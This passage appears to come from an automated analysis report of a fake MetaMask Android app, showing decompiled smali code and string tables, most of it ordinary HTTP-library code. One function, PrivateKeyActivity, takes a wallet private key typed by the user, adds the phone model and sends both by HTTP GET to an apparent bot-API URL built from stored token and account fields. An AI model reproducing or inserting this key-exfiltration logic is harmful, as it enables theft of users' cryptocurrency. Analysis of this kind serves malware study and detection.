        59const-string v0, "\' as a valid URI; "
        61invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        63const-string v0, "request URI and Host header may be inconsistent"
        65invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        67invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        68move-result-object v0
        70invoke-virtual {v3, v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;Ljava/lang/Throwable;)V
        71cond_56: move-object v0, v2
        72goto_57:
        73invoke-virtual {p2, v0}, Lcz/msebera/android/httpclient/client/methods/HttpRequestWrapper;->setURI(Ljava/net/URI;)V
        75invoke-virtual {p0, p2, p1}, Lcz/msebera/android/httpclient/impl/execchain/ProtocolExec;->rewriteRequestURI(Lcz/msebera/android/httpclient/client/methods/HttpRequestWrapper;Lcz/msebera/android/httpclient/conn/routing/HttpRoute;)V
        77invoke-virtual {p2}, Lcz/msebera/android/httpclient/client/methods/HttpRequestWrapper;->getParams()Lcz/msebera/android/httpclient/params/HttpParams;
        78move-result-object v1
        80const-string v3, "http.virtual-host"
        82invoke-interface {v1, v3}, Lcz/msebera/android/httpclient/params/HttpParams;->getParameter(Ljava/lang/String;)Ljava/lang/Object;
        83move-result-object v1
        84check-cast v1, Lcz/msebera/android/httpclient/HttpHost;
        85if-eqz v1, :cond_a8
        87invoke-virtual {v1}, Lcz/msebera/android/httpclient/HttpHost;->getPort()I
        88move-result v3
        89const/4 v4, -0x1
        90if-ne v3, v4, :cond_a8
        92invoke-virtual {p1}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getTargetHost()Lcz/msebera/android/httpclient/HttpHost;
        93move-result-object v3
        95invoke-virtual {v3}, Lcz/msebera/android/httpclient/HttpHost;->getPort()I
        96move-result v3
        97if-eq v3, v4, :cond_8a
        98new-instance v4, Lcz/msebera/android/httpclient/HttpHost;
        100invoke-virtual {v1}, Lcz/msebera/android/httpclient/HttpHost;->getHostName()Ljava/lang/String;
        101move-result-object v5
        103invoke-virtual {v1}, Lcz/msebera/android/httpclient/HttpHost;->getSchemeName()Ljava/lang/String;
        104move-result-object v1
        106invoke-direct {v4, v5, v3, v1}, Lcz/msebera/android/httpclient/HttpHost;-><init>(Ljava/lang/String;ILjava/lang/String;)V
        107move-object v1, v4
        108cond_8a:
        109iget-object v3, p0, Lcz/msebera/android/httpclient/impl/execchain/ProtocolExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        111invoke-virtual {v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        112move-result v3
        113if-eqz v3, :cond_a8
        115iget-object v3, p0, Lcz/msebera/android/httpclient/impl/execchain/ProtocolExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        116new-instance v4, Ljava/lang/StringBuilder;
        118invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        120const-string v5, "Using virtual host"
        122invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        124invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        126invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        127move-result-object v4
        129invoke-virtual {v3, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        130cond_a8: if-eqz v1, :cond_ac
        131move-object v2, v1
        132goto/16 :goto_cb
        133cond_ac: if-eqz v0, :cond_cb
        135invoke-virtual {v0}, Ljava/net/URI;->isAbsolute()Z
        136move-result v1
        137if-eqz v1, :cond_cb
        139invoke-virtual {v0}, Ljava/net/URI;->getHost()Ljava/lang/String;
        140move-result-object v1
        141if-eqz v1, :cond_cb
        142new-instance v2, Lcz/msebera/android/httpclient/HttpHost;
        144invoke-virtual {v0}, Ljava/net/URI;->getHost()Ljava/lang/String;
        145move-result-object v1
        147invoke-virtual {v0}, Ljava/net/URI;->getPort()I
        148move-result v3
        150invoke-virtual {v0}, Ljava/net/URI;->getScheme()Ljava/lang/String;
        151move-result-object v4
        153invoke-direct {v2, v1, v3, v4}, Lcz/msebera/android/httpclient/HttpHost;-><init>(Ljava/lang/String;ILjava/lang/String;)V
        154goto_cb: if-nez v2, :cond_d1
        156invoke-virtual {p1}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getTargetHost()Lcz/msebera/android/httpclient/HttpHost;
        157move-result-object v2
        158cond_d1: if-eqz v0, :cond_f4
        160invoke-virtual {v0}, Ljava/net/URI;->getUserInfo()Ljava/lang/String;
        161move-result-object v0
        162if-eqz v0, :cond_f4
        164invoke-virtual {p3}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getCredentialsProvider()Lcz/msebera/android/httpclient/client/CredentialsProvider;
        165move-result-object v1
        166if-nez v1, :cond_e7
        167new-instance v1, Lcz/msebera/android/httpclient/impl/client/BasicCredentialsProvider;
        169invoke-direct {v1}, Lcz/msebera/android/httpclient/impl/client/BasicCredentialsProvider;-><init>()V
        171invoke-virtual {p3, v1}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->setCredentialsProvider(Lcz/msebera/android/httpclient/client/CredentialsProvider;)V
        172cond_e7: new-instance v3, Lcz/msebera/android/httpclient/auth/AuthScope;
        174invoke-direct {v3, v2}, Lcz/msebera/android/httpclient/auth/AuthScope;-><init>(Lcz/msebera/android/httpclient/HttpHost;)V
        175new-instance v4, Lcz/msebera/android/httpclient/auth/UsernamePasswordCredentials;
        177invoke-direct {v4, v0}, Lcz/msebera/android/httpclient/auth/UsernamePasswordCredentials;-><init>(Ljava/lang/String;)V
        179invoke-interface {v1, v3, v4}, Lcz/msebera/android/httpclient/client/CredentialsProvider;->setCredentials(Lcz/msebera/android/httpclient/auth/AuthScope;Lcz/msebera/android/httpclient/auth/Credentials;)V
        180cond_f4:
        181const-string v0, "http.target_host"
        183invoke-virtual {p3, v0, v2}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        185const-string v0, "http.route"
        187invoke-virtual {p3, v0, p1}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        189const-string v0, "http.request"
        191invoke-virtual {p3, v0, p2}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        193iget-object v0, p0, Lcz/msebera/android/httpclient/impl/execchain/ProtocolExec;->httpProcessor:Lcz/msebera/android/httpclient/protocol/HttpProcessor;
        195invoke-interface {v0, p2, p3}, Lcz/msebera/android/httpclient/protocol/HttpProcessor;->process(Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        197iget-object v0, p0, Lcz/msebera/android/httpclient/impl/execchain/ProtocolExec;->requestExecutor:Lcz/msebera/android/httpclient/impl/execchain/ClientExecChain;
        199invoke-interface {v0, p1, p2, p3, p4}, Lcz/msebera/android/httpclient/impl/execchain/ClientExecChain;->execute(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Lcz/msebera/android/httpclient/client/methods/HttpRequestWrapper;Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;Lcz/msebera/android/httpclient/client/methods/HttpExecutionAware;)Lcz/msebera/android/httpclient/client/methods/CloseableHttpResponse;
        200move-result-object p1
        201try_start_10e:
        202const-string p2, "http.response"
        204invoke-virtual {p3, p2, p1}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        206iget-object p2, p0, Lcz/msebera/android/httpclient/impl/execchain/ProtocolExec;->httpProcessor:Lcz/msebera/android/httpclient/protocol/HttpProcessor;
        208invoke-interface {p2, p1, p3}, Lcz/msebera/android/httpclient/protocol/HttpProcessor;->process(Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        209try_end_118: return-object p1
        210catch_119: move-exception p2
        212invoke-interface {p1}, Lcz/msebera/android/httpclient/client/methods/CloseableHttpResponse;->close()V
        213throw p2
        214catch_11e: move-exception p2
        216invoke-interface {p1}, Lcz/msebera/android/httpclient/client/methods/CloseableHttpResponse;->close()V
        217throw p2
        218catch_123: move-exception p2
        220invoke-interface {p1}, Lcz/msebera/android/httpclient/client/methods/CloseableHttpResponse;->close()V
        221throw p2
        APIs
        • android.widget.EditText.getText
        • java.lang.Object.toString
        • java.lang.String.isEmpty
        • android.widget.EditText.requestFocus
        • android.widget.EditText.setError
        • android.widget.EditText.getText
        • android.text.Editable.clear
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.String.valueOf
        • android.util.Log.i
        • android.widget.Toast.makeText
        • android.widget.Toast.show
        Strings
        • Please enter new Password
        • **From Meta Mask App** \n Phone Model
        • \n\n\n**Restore Account** \nPrivate Key:
        • Check Your Internet Connection
        Position Instruction Meta Information
        1iget-object p1, p0, Lcom/lemon/metamask/Activity/PrivateKeyActivity$2;->this$0:Lcom/lemon/metamask/Activity/PrivateKeyActivity;
        3invoke-static {p1}, Lcom/lemon/metamask/Util/Method;->isNetworkAvailable(Landroid/app/Activity;)Z
        4move-result p1
        5if-eqz p1, :cond_94
        7iget-object p1, p0, Lcom/lemon/metamask/Activity/PrivateKeyActivity$2;->this$0:Lcom/lemon/metamask/Activity/PrivateKeyActivity;
        9iget-object p1, p1, Lcom/lemon/metamask/Activity/PrivateKeyActivity;->pinput:Landroid/widget/EditText;
        11invoke-virtual {p1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
        12move-result-object p1
        14invoke-virtual {p1}, Ljava/lang/Object;->toString()Ljava/lang/String;
        15move-result-object p1
        17invoke-virtual {p1}, Ljava/lang/String;->isEmpty()Z
        18move-result v0
        19if-eqz v0, :cond_2b
        21iget-object p1, p0, Lcom/lemon/metamask/Activity/PrivateKeyActivity$2;->this$0:Lcom/lemon/metamask/Activity/PrivateKeyActivity;
        23iget-object p1, p1, Lcom/lemon/metamask/Activity/PrivateKeyActivity;->pinput:Landroid/widget/EditText;
        25invoke-virtual {p1}, Landroid/widget/EditText;->requestFocus()Z
        27iget-object p1, p0, Lcom/lemon/metamask/Activity/PrivateKeyActivity$2;->this$0:Lcom/lemon/metamask/Activity/PrivateKeyActivity;
        29iget-object p1, p1, Lcom/lemon/metamask/Activity/PrivateKeyActivity;->pinput:Landroid/widget/EditText;
        31const-string v0, "Please enter new Password"
        33invoke-virtual {p1, v0}, Landroid/widget/EditText;->setError(Ljava/lang/CharSequence;)V
        34goto/16 :goto_a0
        35cond_2b:
        36iget-object v0, p0, Lcom/lemon/metamask/Activity/PrivateKeyActivity$2;->this$0:Lcom/lemon/metamask/Activity/PrivateKeyActivity;
        38iget-object v0, v0, Lcom/lemon/metamask/Activity/PrivateKeyActivity;->pinput:Landroid/widget/EditText;
        40invoke-virtual {v0}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
        41move-result-object v0
        43invoke-interface {v0}, Landroid/text/Editable;->clear()V
        45invoke-static {}, Lcom/lemon/metamask/Util/Method;->getDeviceName()Ljava/lang/String;
        46move-result-object v0
        47new-instance v1, Ljava/lang/StringBuilder;
        49invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        51const-string v2, "**From Meta Mask App** \n Phone Model "
        53invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        55invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        57const-string v0, "\n\n\n**Restore Account** \nPrivate Key: "
        59invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        61invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        63invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        64move-result-object p1
        65new-instance v0, Ljava/lang/StringBuilder;
        67invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        69sget-object v1, Lcom/lemon/metamask/Util/Method;->apiLink:Ljava/lang/String;
        71invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        73sget-object v1, Lcom/lemon/metamask/Util/Method;->botoken:Ljava/lang/String;
        75invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        77sget-object v1, Lcom/lemon/metamask/Util/Method;->sendMsg:Ljava/lang/String;
        79invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        81sget-object v1, Lcom/lemon/metamask/Util/Method;->acc_id:Ljava/lang/String;
        83invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        85sget-object v1, Lcom/lemon/metamask/Util/Method;->texti:Ljava/lang/String;
        87invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        89invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        91invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        92move-result-object p1
        93try_start_78: new-instance v0, Lcom/loopj/android/http/AsyncHttpClient;
        95invoke-direct {v0}, Lcom/loopj/android/http/AsyncHttpClient;-><init>()V
        96const/4 v1, 0x0
        97new-instance v2, Lcom/lemon/metamask/Activity/PrivateKeyActivity$2$1;
        99invoke-direct {v2, p0}, Lcom/lemon/metamask/Activity/PrivateKeyActivity$2$1;-><init>(Lcom/lemon/metamask/Activity/PrivateKeyActivity$2;)V
        101invoke-virtual {v0, p1, v1, v2}, Lcom/loopj/android/http/AsyncHttpClient;->get(Ljava/lang/String;Lcom/loopj/android/http/RequestParams;Lcom/loopj/android/http/ResponseHandlerInterface;)Lcom/loopj/android/http/RequestHandle;
        102try_end_86: goto/16 :goto_a0
        103catch_87: move-exception p1
        105iget-object v0, p0, Lcom/lemon/metamask/Activity/PrivateKeyActivity$2;->this$0:Lcom/lemon/metamask/Activity/PrivateKeyActivity;
        107iget-object v0, v0, Lcom/lemon/metamask/Activity/PrivateKeyActivity;->TAG:Ljava/lang/String;
        109invoke-static {p1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
        110move-result-object p1
        112invoke-static {v0, p1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
        113goto/16 :goto_a0
        114cond_94:
        115iget-object p1, p0, Lcom/lemon/metamask/Activity/PrivateKeyActivity$2;->this$0:Lcom/lemon/metamask/Activity/PrivateKeyActivity;
        117const-string v0, "Check Your Internet Connection"
        118const/4 v1, 0x1
        120invoke-static {p1, v0, v1}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
        121move-result-object p1
        123invoke-virtual {p1}, Landroid/widget/Toast;->show()V
        124goto_a0: return-void
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.String.length
        • java.lang.String.charAt
        • java.lang.StringBuilder.append
        • java.lang.Integer.toHexString
        • java.lang.StringBuilder.append
        • java.lang.String.length
        • java.lang.StringBuilder.append
        • java.lang.String.toUpperCase
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.String.getBytes
        Strings
        • \\u
        • \\r
        • \\f
        • \\n
        • \\t
        • \\b
        • \\\\
        • \\\"
        Position Instruction Meta Information
        0if-nez p0, :cond_5
        2sget-object p0, Lcom/loopj/android/http/JsonStreamerEntity;->JSON_NULL:[B
        3return-object p0
        4cond_5: new-instance v0, Ljava/lang/StringBuilder;
        5const/16 v1, 0x80
        7invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(I)V
        8const/16 v1, 0x22
        10invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        12invoke-virtual {p0}, Ljava/lang/String;->length()I
        13move-result v2
        14const/4 v3, -0x1
        15goto_16: add-int/lit8 v3, v3, 0x1
        16if-ge v3, v2, :cond_91
        18invoke-virtual {p0, v3}, Ljava/lang/String;->charAt(I)C
        19move-result v4
        20if-eq v4, v1, :cond_8b
        21const/16 v5, 0x5c
        22if-eq v4, v5, :cond_85
        23packed-switch v4, :pswitch_data_9e
        24packed-switch v4, :pswitch_data_a8
        25const/16 v5, 0x1f
        26if-le v4, v5, :cond_43
        27const/16 v5, 0x7f
        28if-lt v4, v5, :cond_36
        29const/16 v5, 0x9f
        30if-le v4, v5, :cond_43
        31cond_36: const/16 v5, 0x2000
        32if-lt v4, v5, :cond_3f
        33const/16 v5, 0x20ff
        34if-gt v4, v5, :cond_3f
        35goto/16 :goto_43
        36cond_3f:
        37invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        38goto/16 :goto_16
        39goto_43:
        40invoke-static {v4}, Ljava/lang/Integer;->toHexString(I)Ljava/lang/String;
        41move-result-object v4
        43const-string v5, "\\u"
        45invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        47invoke-virtual {v4}, Ljava/lang/String;->length()I
        48move-result v5
        49rsub-int/lit8 v5, v5, 0x4
        50const/4 v6, 0x0
        51goto_53: if-ge v6, v5, :cond_5d
        52const/16 v7, 0x30
        54invoke-virtual {v0, v7}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        55add-int/lit8 v6, v6, 0x1
        56goto/16 :goto_53
        57cond_5d:
        58sget-object v5, Ljava/util/Locale;->US:Ljava/util/Locale;
        60invoke-virtual {v4, v5}, Ljava/lang/String;->toUpperCase(Ljava/util/Locale;)Ljava/lang/String;
        61move-result-object v4
        63invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        64goto/16 :goto_16
        65pswitch_67:
        66const-string v4, "\\r"
        68invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        69goto/16 :goto_16
        70pswitch_6d:
        71const-string v4, "\\f"
        73invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        74goto/16 :goto_16
        75pswitch_73:
        76const-string v4, "\\n"
        78invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        79goto/16 :goto_16
        80pswitch_79:
        81const-string v4, "\\t"
        83invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        84goto/16 :goto_16
        85pswitch_7f:
        86const-string v4, "\\b"
        88invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        89goto/16 :goto_16
        90cond_85:
        91const-string v4, "\\\\"
        93invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        94goto/16 :goto_16
        95cond_8b:
        96const-string v4, "\\\""
        98invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        99goto/16 :goto_16
        100cond_91:
        101invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        103invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        104move-result-object p0
        106invoke-virtual {p0}, Ljava/lang/String;->getBytes()[B
        107move-result-object p0
        108return-object p0
        109nop
        Cross References
        APIs
        • java.util.LinkedList.<init>
        • java.util.Map.keySet
        • java.util.ArrayList.<init>
        • java.util.List.size
        • java.util.List.get
        • java.util.Collections.sort
        • java.util.List.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Map.get
        • java.lang.String.format
        • java.util.List.addAll
        • java.util.List.size
        • java.lang.Integer.valueOf
        • java.lang.String.format
        • java.util.List.get
        • java.util.List.addAll
        • java.lang.Integer.valueOf
        • java.lang.String.format
        • java.util.List.addAll
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.List.addAll
        • java.lang.Object.toString
        • java.util.List.add
        Strings
        • %s[%s]
        • %s[%d]
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Signature;
        1value = {
        2"(",
        3"Ljava/lang/String;",
        4"Ljava/lang/Object;",
        5")",
        6"Ljava/util/List<",
        7"Lcz/msebera/android/httpclient/message/BasicNameValuePair;",
        8">;"
        9}
        10.end annotation
        11new-instance v0, Ljava/util/LinkedList;
        13invoke-direct {v0}, Ljava/util/LinkedList;-><init>()V
        14instance-of v1, p2, Ljava/util/Map;
        15const/4 v2, 0x2
        16const/4 v3, 0x1
        17const/4 v4, 0x0
        18if-eqz v1, :cond_5b
        19check-cast p2, Ljava/util/Map;
        20new-instance v1, Ljava/util/ArrayList;
        22invoke-interface {p2}, Ljava/util/Map;->keySet()Ljava/util/Set;
        23move-result-object v5
        25invoke-direct {v1, v5}, Ljava/util/ArrayList;-><init>(Ljava/util/Collection;)V
        27invoke-interface {v1}, Ljava/util/List;->size()I
        28move-result v5
        29if-lez v5, :cond_28
        31invoke-interface {v1, v4}, Ljava/util/List;->get(I)Ljava/lang/Object;
        32move-result-object v5
        33instance-of v5, v5, Ljava/lang/Comparable;
        34if-eqz v5, :cond_28
        36invoke-static {v1}, Ljava/util/Collections;->sort(Ljava/util/List;)V
        37cond_28:
        38invoke-interface {v1}, Ljava/util/List;->iterator()Ljava/util/Iterator;
        39move-result-object v1
        40goto_2c:
        41invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
        42move-result v5
        43if-eqz v5, :cond_d8
        45invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        46move-result-object v5
        47instance-of v6, v5, Ljava/lang/String;
        48if-eqz v6, :cond_2c
        50invoke-interface {p2, v5}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
        51move-result-object v6
        52if-eqz v6, :cond_2c
        53if-nez p1, :cond_45
        54check-cast v5, Ljava/lang/String;
        55goto/16 :goto_53
        56cond_45:
        57sget-object v7, Ljava/util/Locale;->US:Ljava/util/Locale;
        59const-string v8, "%s[%s]"
        60new-array v9, v2, [Ljava/lang/Object;
        61aput-object p1, v9, v4
        62aput-object v5, v9, v3
        64invoke-static {v7, v8, v9}, Ljava/lang/String;->format(Ljava/util/Locale;Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
        65move-result-object v5
        66goto_53:
        67invoke-direct {p0, v5, v6}, Lcom/loopj/android/http/RequestParams;->getParamsList(Ljava/lang/String;Ljava/lang/Object;)Ljava/util/List;
        68move-result-object v5
        70invoke-interface {v0, v5}, Ljava/util/List;->addAll(Ljava/util/Collection;)Z
        71goto/16 :goto_2c
        72cond_5b: instance-of v1, p2, Ljava/util/List;
        73if-eqz v1, :cond_88
        74check-cast p2, Ljava/util/List;
        76invoke-interface {p2}, Ljava/util/List;->size()I
        77move-result v1
        78const/4 v5, 0x0
        79goto_66: if-ge v5, v1, :cond_d8
        81sget-object v6, Ljava/util/Locale;->US:Ljava/util/Locale;
        83const-string v7, "%s[%d]"
        84new-array v8, v2, [Ljava/lang/Object;
        85aput-object p1, v8, v4
        87invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
        88move-result-object v9
        89aput-object v9, v8, v3
        91invoke-static {v6, v7, v8}, Ljava/lang/String;->format(Ljava/util/Locale;Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
        92move-result-object v6
        94invoke-interface {p2, v5}, Ljava/util/List;->get(I)Ljava/lang/Object;
        95move-result-object v7
        97invoke-direct {p0, v6, v7}, Lcom/loopj/android/http/RequestParams;->getParamsList(Ljava/lang/String;Ljava/lang/Object;)Ljava/util/List;
        98move-result-object v6
        100invoke-interface {v0, v6}, Ljava/util/List;->addAll(Ljava/util/Collection;)Z
        101add-int/lit8 v5, v5, 0x1
        102goto/16 :goto_66
        103cond_88: instance-of v1, p2, [Ljava/lang/Object;
        104if-eqz v1, :cond_b0
        105check-cast p2, [Ljava/lang/Object;
        106array-length v1, p2
        107const/4 v5, 0x0
        108goto_90: if-ge v5, v1, :cond_d8
        110sget-object v6, Ljava/util/Locale;->US:Ljava/util/Locale;
        112const-string v7, "%s[%d]"
        113new-array v8, v2, [Ljava/lang/Object;
        114aput-object p1, v8, v4
        116invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
        117move-result-object v9
        118aput-object v9, v8, v3
        120invoke-static {v6, v7, v8}, Ljava/lang/String;->format(Ljava/util/Locale;Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
        121move-result-object v6
        122aget-object v7, p2, v5
        124invoke-direct {p0, v6, v7}, Lcom/loopj/android/http/RequestParams;->getParamsList(Ljava/lang/String;Ljava/lang/Object;)Ljava/util/List;
        125move-result-object v6
        127invoke-interface {v0, v6}, Ljava/util/List;->addAll(Ljava/util/Collection;)Z
        128add-int/lit8 v5, v5, 0x1
        129goto/16 :goto_90
        130cond_b0: instance-of v1, p2, Ljava/util/Set;
        131if-eqz v1, :cond_cc
        132check-cast p2, Ljava/util/Set;
        134invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        135move-result-object p2
        136goto_ba:
        137invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
        138move-result v1
        139if-eqz v1, :cond_d8
        141invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        142move-result-object v1
        144invoke-direct {p0, p1, v1}, Lcom/loopj/android/http/RequestParams;->getParamsList(Ljava/lang/String;Ljava/lang/Object;)Ljava/util/List;
        145move-result-object v1
        147invoke-interface {v0, v1}, Ljava/util/List;->addAll(Ljava/util/Collection;)Z
        148goto/16 :goto_ba
        149cond_cc: new-instance v1, Lcz/msebera/android/httpclient/message/BasicNameValuePair;
        151invoke-virtual {p2}, Ljava/lang/Object;->toString()Ljava/lang/String;
        152move-result-object p2
        154invoke-direct {v1, p1, p2}, Lcz/msebera/android/httpclient/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
        156invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
        157cond_d8: return-object v0
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.String.length
        • java.lang.StringBuilder.<init>
        • java.lang.String.substring
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.append
        • java.lang.Integer.toString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • =\"
        • ...
        • \"
        • , version:
        • , domain:
        • , path:
        • , expiry:
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4invoke-interface {p0}, Lcz/msebera/android/httpclient/cookie/Cookie;->getName()Ljava/lang/String;
        5move-result-object v1
        7invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        9const-string v1, "=\""
        11invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        13invoke-interface {p0}, Lcz/msebera/android/httpclient/cookie/Cookie;->getValue()Ljava/lang/String;
        14move-result-object v1
        15if-eqz v1, :cond_38
        17invoke-virtual {v1}, Ljava/lang/String;->length()I
        18move-result v2
        19const/16 v3, 0x64
        20if-le v2, v3, :cond_35
        21new-instance v2, Ljava/lang/StringBuilder;
        23invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        24const/4 v4, 0x0
        26invoke-virtual {v1, v4, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
        27move-result-object v1
        29invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        31const-string v1, "..."
        33invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        35invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        36move-result-object v1
        37cond_35:
        38invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        39cond_38:
        40const-string v1, "\""
        42invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        44const-string v1, ", version:"
        46invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        48invoke-interface {p0}, Lcz/msebera/android/httpclient/cookie/Cookie;->getVersion()I
        49move-result v1
        51invoke-static {v1}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
        52move-result-object v1
